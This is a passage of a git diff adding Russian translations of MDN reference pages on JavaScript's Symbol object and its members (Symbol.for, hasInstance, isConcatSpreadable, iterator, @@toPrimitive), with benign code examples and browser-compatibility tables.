+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html
new file mode 100644
index 0000000000..680100f800
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html
@@ -0,0 +1,66 @@
+---
+title: 'Symbol.prototype[@@toPrimitive]'
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p>Метод <code><strong>[@@toPrimitive]()</strong></code>  <span style="font-size: 1rem; letter-spacing: -0.00278rem;">преобразует объект Symbol в примитивное значение.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Symbol()[Symbol.toPrimitive](hint)
+</var></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Примитивное значение указанного объекта Symbol {{jsxref("Symbol")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>[@@toPrimitive]()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> возвращает примитивное значение объекта Symbol как тип данных Symbol. Аргумент </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">hint</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не используется.</span></p>
+
+<p>JavaScript вызывает метод<code style="font-size: 1rem; letter-spacing: -0.00278rem;">[@@toPrimitive] ()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> для преобразования объекта в примитив. </span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">JavaScript автоматически вызывает метод, когда на месте</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> объекта ожидается примитивное значение.</span></p>
+
+<h2 id="Спефикации">Спефикации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol.@@toPrimitive")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
new file mode 100644
index 0000000000..5b4a6ee85c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
@@ -0,0 +1,140 @@
+---
+title: Symbol.for()
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/for
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Symbol.for(key)</strong></code> ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создается новый разделяемый символ для данного ключа в глобальном реестре символов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Symbol.for(key)</var>;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Строка, обязательный. Идентификатор символа (также используется в качестве описания символа).</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В противоположность вызову <code>Symbol()</code>, функция <code>Symbol.for()</code> создаёт символ, доступный в глобальном списке реестра символов. <code>Symbol.for()</code> не создаёт новый символ при каждом вызове, вместо этого, метод сначала проверяет, существует ли символ с заданным идентификатором в реестре — и возвращает его, если тот присутствует. Если символ с заданным ключом не найден, <code>Symbol.for()</code> создаст новый глобальный символ.</p>
+
+<h3 id="Глобальный_реестр">Глобальный реестр</h3>
+
+<p>Глобальный реестр символов — это список со следующей структурой записей и пустой при инициализации:</p>
+
+<table class="standard-table">
+ <caption>Элемент глобального реестра символов</caption>
+ <tbody>
+  <tr>
+   <th>Поле</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td>[[key]]</td>
+   <td>Строка, используемая в качестве идентификатора.</td>
+  </tr>
+  <tr>
+   <td>[[symbol]]</td>
+   <td>Символ, хранящийся глобально.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">Symbol.for("foo"); // создаёт новый глобальный символ
+Symbol.for("foo"); // возвращает символ, созданный прежде
+
+// Одинаковый глобальный символ, но не локальный
+Symbol.for("bar") === Symbol.for("bar"); // true
+Symbol("bar") === Symbol("bar"); // false
+
+// Идентификатор также используется в качестве описания
+var sym = Symbol.for("mario");
+sym.toString(); // "Symbol(mario)"
+</pre>
+
+<p>Чтобы предотвратить конфликт имён ваших глобальных символов и глобальных символов из других библиотек, может оказаться неплохой идеей использование префиксов:</p>
+
+<pre class="brush: js">Symbol.for("mdn.foo");
+Symbol.for("mdn.bar");
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatChrome(40) }}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.prototype.keyFor()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/hasinstance/index.html b/files/ru/web/javascript/reference/global_objects/symbol/hasinstance/index.html
new file mode 100644
index 0000000000..48c2d59173
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/hasinstance/index.html
@@ -0,0 +1,71 @@
+---
+title: Symbol.hasInstance
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
+tags:
+  - JavaScript
+  - Property
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Symbol.hasInstance</code></strong> — известный символ, который используется для определения является ли объект экземпляром конструктора. Этот символ используется для изменения поведения оператора {{jsxref("Operators/instanceof", "instanceof")}}.</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Поведение <code>instanceof</code> может быть изменено, например, следующим образом:</p>
+
+<pre class="brush: js">class MyArray {
+  static [Symbol.hasInstance](instance) {
+    return Array.isArray(instance);
+  }
+}
+console.log([] instanceof MyArray); // true</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol.hasInstance")}}</p>
+
+<p> </p>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html
new file mode 100644
index 0000000000..9dbecb81cb
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html
@@ -0,0 +1,227 @@
+---
+title: Symbol
+slug: Web/JavaScript/Reference/Global_Objects/Symbol
+tags:
+  - API
+  - ECMAScript6
+  - JavaScript
+  - Symbol
+  - Символы
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p><strong style="line-height: 1.5;">Символ (анг. Symbol)</strong><span style="line-height: 1.5;"> — это уникальный и неизменяемый тип данных, который может быть использован как идентификатор для свойств объектов. </span><em>Символьный объект (анг. symbol object) </em>— это объект-обёртка (англ. wrapper) для <span style="line-height: 1.5;">{{Glossary("Primitive", "примитивного")}} символьного типа.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Symbol(<em>[описание]</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>описание</code> {{optional_inline}}</dt>
+ <dd>Необязательный, строка. Описание символа, которое может быть использовано во время отладки, но не для доступа к самому символу.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Чтобы создать новый символьный примитив, достаточно написать <code>Symbol()</code>, указав по желанию строку в качестве описания этого символа:</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol("foo");
+var sym3 = Symbol("foo");
+</pre>
+
+<p>Код выше создает три новых символа. Заметьте, что <code>Symbol("foo")</code> не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создает каждый раз новый символ:</p>
+
+<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
+
+<p>Код ниже с оператором {{jsxref("Operators/new", "new")}} бросит исключение {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>Это удерживает разработчиков от создания явного объекта-обёртки <code>Symbol </code>вместо нового символьного значения. Создание явных объектов-обёрток для примитивных типов доступно (например, <code>new Boolean</code>, <code>new String</code>, <code>new Number</code>).</p>
+
+<p>Если вам действительно необходимо обернуть символ в объект, вы можете использовать функцию <code>Object()</code>:</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+</pre>
+
+<h3 id="Разделяемые_символы_в_глобальном_символьном_реестре">Разделяемые символы в глобальном символьном реестре</h3>
+
+<p>Приведенный выше синтаксис, использующий функцию <code>Symbol(),</code> не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.</p>
+
+<h3 id="Поиск_символьных_свойств_у_объектов">Поиск символьных свойств у объектов</h3>
+
+<p>Метод {{jsxref("Object.getOwnPropertySymbols()")}} возвращает массив символов и позволяет получить символьные свойства конкретного объекта. Следует заметить, что при инициализации объекты не получают символьных свойств, так что этот массив будет пуст, пока вы не зададите ему какое-либо символьное свойство.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>Содержит длину, всегда равную 0 (нулю).</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd>Содержит прототип конструктора <code>Symbol</code>.</dd>
+</dl>
+
+<h3 id="Известные_символы">Известные символы</h3>
+
+<p>В добавок к вашим собственным символам, JavaScript имеет несколько встроенных символов, представляющих внутренние механизмы языка, которые не были доступны разработчикам в версиях ECMAScript 5 и более ранних. Эти символы доступны посредством следующих свойств:</p>
+
+<dl>
+ <dt>
+ <h4 id="Итерационные_символы">Итерационные символы</h4>
+ </dt>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>Метод, возвращающий итератор по умолчанию для объекта. Используется конструкцией {{jsxref("Statements/for...of","for...of")}}.</dd>
+ <dt>
+ <h4 id="Символы_регулярных_выражений">Символы регулярных выражений</h4>
+ </dt>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>Метод для сопоставления объекта со строкой, также используемый для определения возможности объекта выступать в качестве регулярного выражения. Используется функцией {{jsxref("String.prototype.match()")}}.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>Метод, заменяющий совпавшие подстроки в строке. Используется функцией {{jsxref("String.prototype.replace()")}}.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>Метод, возвращающий индекс вхождения подстроки, соответствующей регулярному выражению. Используется функцией {{jsxref("String.prototype.search()")}}.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>Метод, разбивающий строку на части в местах, соответствующих регулярному выражению. Используется функцией {{jsxref("String.prototype.split()")}}. </dd>
+ <dt>
+ <h4 id="Другие_символы">Другие символы</h4>
+ </dt>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>Метод, определяющий, распознает ли конструктор некоторый объект как свой экземпляр. Используется оператором {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>Булево значение, показывающее, должен ли объект быть сведен к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>Массив строковых имен свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>Метод, определяющий конструктор для порождённых объектов.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>Метод, преобразующий объект в примитив (примитивное значение).</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>Строковое значение, используемое в качестве описания объекта по умолчанию. Используется функцией {{jsxref("Object.prototype.toString()")}}</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создается новый символ для данного ключа в глобальном реестре символов.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>Получает по разделямому символу его ключ из глобального реестра символов.</dd>
+</dl>
+
+<h2 id="Boolean_instances" name="Boolean_instances"><code><span style="font-family: open sans,sans-serif; font-size: 2.14285714285714rem;">Прототип </span>Symbol</code></h2>
+
+<p>Все символы наследуют от {{jsxref("Symbol.prototype")}}.</p>
+
+<h3 id="Свойства">Свойства</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="Методы">Методы</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Creating_Boolean_objects_with_an_initial_value_of_false" name="Creating_Boolean_objects_with_an_initial_value_of_false">Использование оператора <code>typeof</code> с символами</h3>
+
+<p>Оператор {{jsxref("Operators/typeof", "typeof")}} позволяет идентифицировать символ.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="Преобразование_типов_с_символами">Преобразование типов с символами</h3>
+
+<p>Следующее необходимо помнить при преобразовании типа символов.</p>
+
+<ul>
+ <li>При попытке конвертировать символ в число, будет брошено исключение {{jsxref("TypeError")}} (напр., <code>+sym</code> или <code>sym | 0</code>).</li>
+ <li>Результатом нестрогого сравнения, <code>Object(sym) == sym</code>, будет <code>true.</code></li>
+ <li><code>Symbol("foo") + "bar" </code>бросает исключение {{jsxref("TypeError")}} (невозможно преобразовать символ в строку). Это удерживает разработчика от, к примеру, случайного создания строкого поля у объекта из символа.</li>
+ <li>Более  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"безопасный" вызов <code>String(sym)</code></a> работает с символами как вызов {{jsxref("Symbol.prototype.toString()")}}. Заметьте, что в то же время <code>new String(sym)</code> бросит исключение.</li>
+</ul>
+
+<h3 id="Символы_и_конструкция_for...in">Символы и конструкция <code>for...in</code></h3>
+
+<p>Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернет символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+   console.log(i); // выведет "c" и "d"
+}</pre>
+
+<h3 id="Символы_и_JSON.stringify">Символы и <code>JSON.stringify()</code></h3>
+
+<p><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">JSON.stringify()</span> игнорирует свойства с ключами <code>Symbol</code>:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol("foo")]: "foo"});
+// '{}'</pre>
+
+<p>Подробности см. {{jsxref("JSON.stringify()")}}.</p>
+
+<h3 id="Объекты-обёртки_для_Symbol_в_качестве_имен_свойств">Объекты-обёртки для Symbol в качестве имен свойств</h3>
+
+<p>Когда объект-обёртка символа используется в качестве имени свойства, этот объект сводится к символу, который он оборачивает:</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+var obj = {[sym]: 1};
+obj[sym];            // 1
+obj[Object(sym)];    // снова 1
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">Словарь: Символьный тип данных</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Data_structures">Типы и структуры данных JavaScript</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html b/files/ru/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html
new file mode 100644
index 0000000000..68ce170adc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html
@@ -0,0 +1,148 @@
+---
+title: Symbol.isConcatSpreadable
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable
+tags:
+  - ECMScript 2015
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Symbol.isConcatSpreadable</code></strong> - это известный символ, который используется для  определения, должен ли объект редуцироваться к сумме своих элементов при использовании метода {{jsxref("Array.prototype.concat()")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>@@isConcatSpreadable-символ</code> (<code>Symbol.isConcatSpreadable</code>) можно определить как собственное или унаследованное свойство с булевым значением. Оно контролирует поведение массивов и массивоподобных объектов:</p>
+
+<ul>
+ <li>Для массивов поведением по умолчанию будет редуцирование к сумме своих элементов. <code>Symbol.isConcatSpreadable</code> поможет избежать редукции в подобных случаях.</li>
+ <li>Для массивоподобных объектов поведением по умолчанию будет <code>сохранение своей структуры.isConcatSpreadable</code> может вызвать редуцирование в подобных случаях.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Массивы">Массивы</h3>
+
+<p>По умолчанию, {{jsxref("Array.prototype.concat()")}}  возвращает массив, объединяющий  элементы исходных массивов:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'],
+    numeric = [1, 2, 3];
+
+var alphaNumeric = alpha.concat(numeric);
+
+console.log(alphaNumeric); // Result: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<p>Если значение <code>Symbol.isConcatSpreadable</code>  =  <code>false</code>, то можно отменить поведение по умолчанию:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'],
+    numeric = [1, 2, 3];
+
+numeric[Symbol.isConcatSpreadable] = false;
+var alphaNumeric = alpha.concat(numeric);
+
+console.log(alphaNumeric); // Result: ['a', 'b', 'c', [1, 2, 3] ]
+</pre>
+
+<h3 id="Массивоподобные_объекты">Массивоподобные объекты</h3>
+
+<p>Для массивоподобных объектов поведением по умолчанию будет <code>сохранение своей структуры. </code>Чтобы вызвать его разложение до суммы  элементов  в итоговом массиве, нужно задать значение <code>true для Symbol.isConcatSpreadable</code>:</p>
+
+<pre class="brush: js">var x = [1, 2, 3];
+
+var fakeArray = {
+  [Symbol.isConcatSpreadable]: true,
+  length: 2,
+  0: 'hello',
+  1: 'world'
+}
+
+x.concat(fakeArray); // [1, 2, 3, "hello", "world"]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>No change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(48) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(48) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/iterator/index.html b/files/ru/web/javascript/reference/global_objects/symbol/iterator/index.html
new file mode 100644
index 0000000000..4e7ceb90f0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/iterator/index.html
@@ -0,0 +1,135 @@
+---
+title: Symbol.iterator
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Свойство
+  - Символы
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.iterator</strong></code> — известный символ, задающий итератор объекта, используемый по умолчанию. Применяется в конструкции <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Каждый раз, когда объект должен быть проитерирован (как, например, в начале цикла <code>for..of</code>), метод <code>@@iterator</code> вызывается без аргументов, а возвращённый итератор используется непосредственно для получения значений.</p>
+
+<p>Некоторые встроенные типы имеют стандартное итерационное поведение, в то время как другие типы (как {{jsxref("Object")}}) таким свойством не обладают. Метод <code>@@iterator</code> имеют следующие встроенные типы:</p>
+
+<ul>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
+
+<p>Смотрите также<a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols"> </a><a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols">Протоколы перебора</a> для получения дополнительных сведений.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пользовательские_итерируемые_объекты">Пользовательские итерируемые объекты</h3>
+
+<p>Мы можем создавать собственные итерируемые объекты, подобно следующему коду:</p>
+
+<pre class="brush: js">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
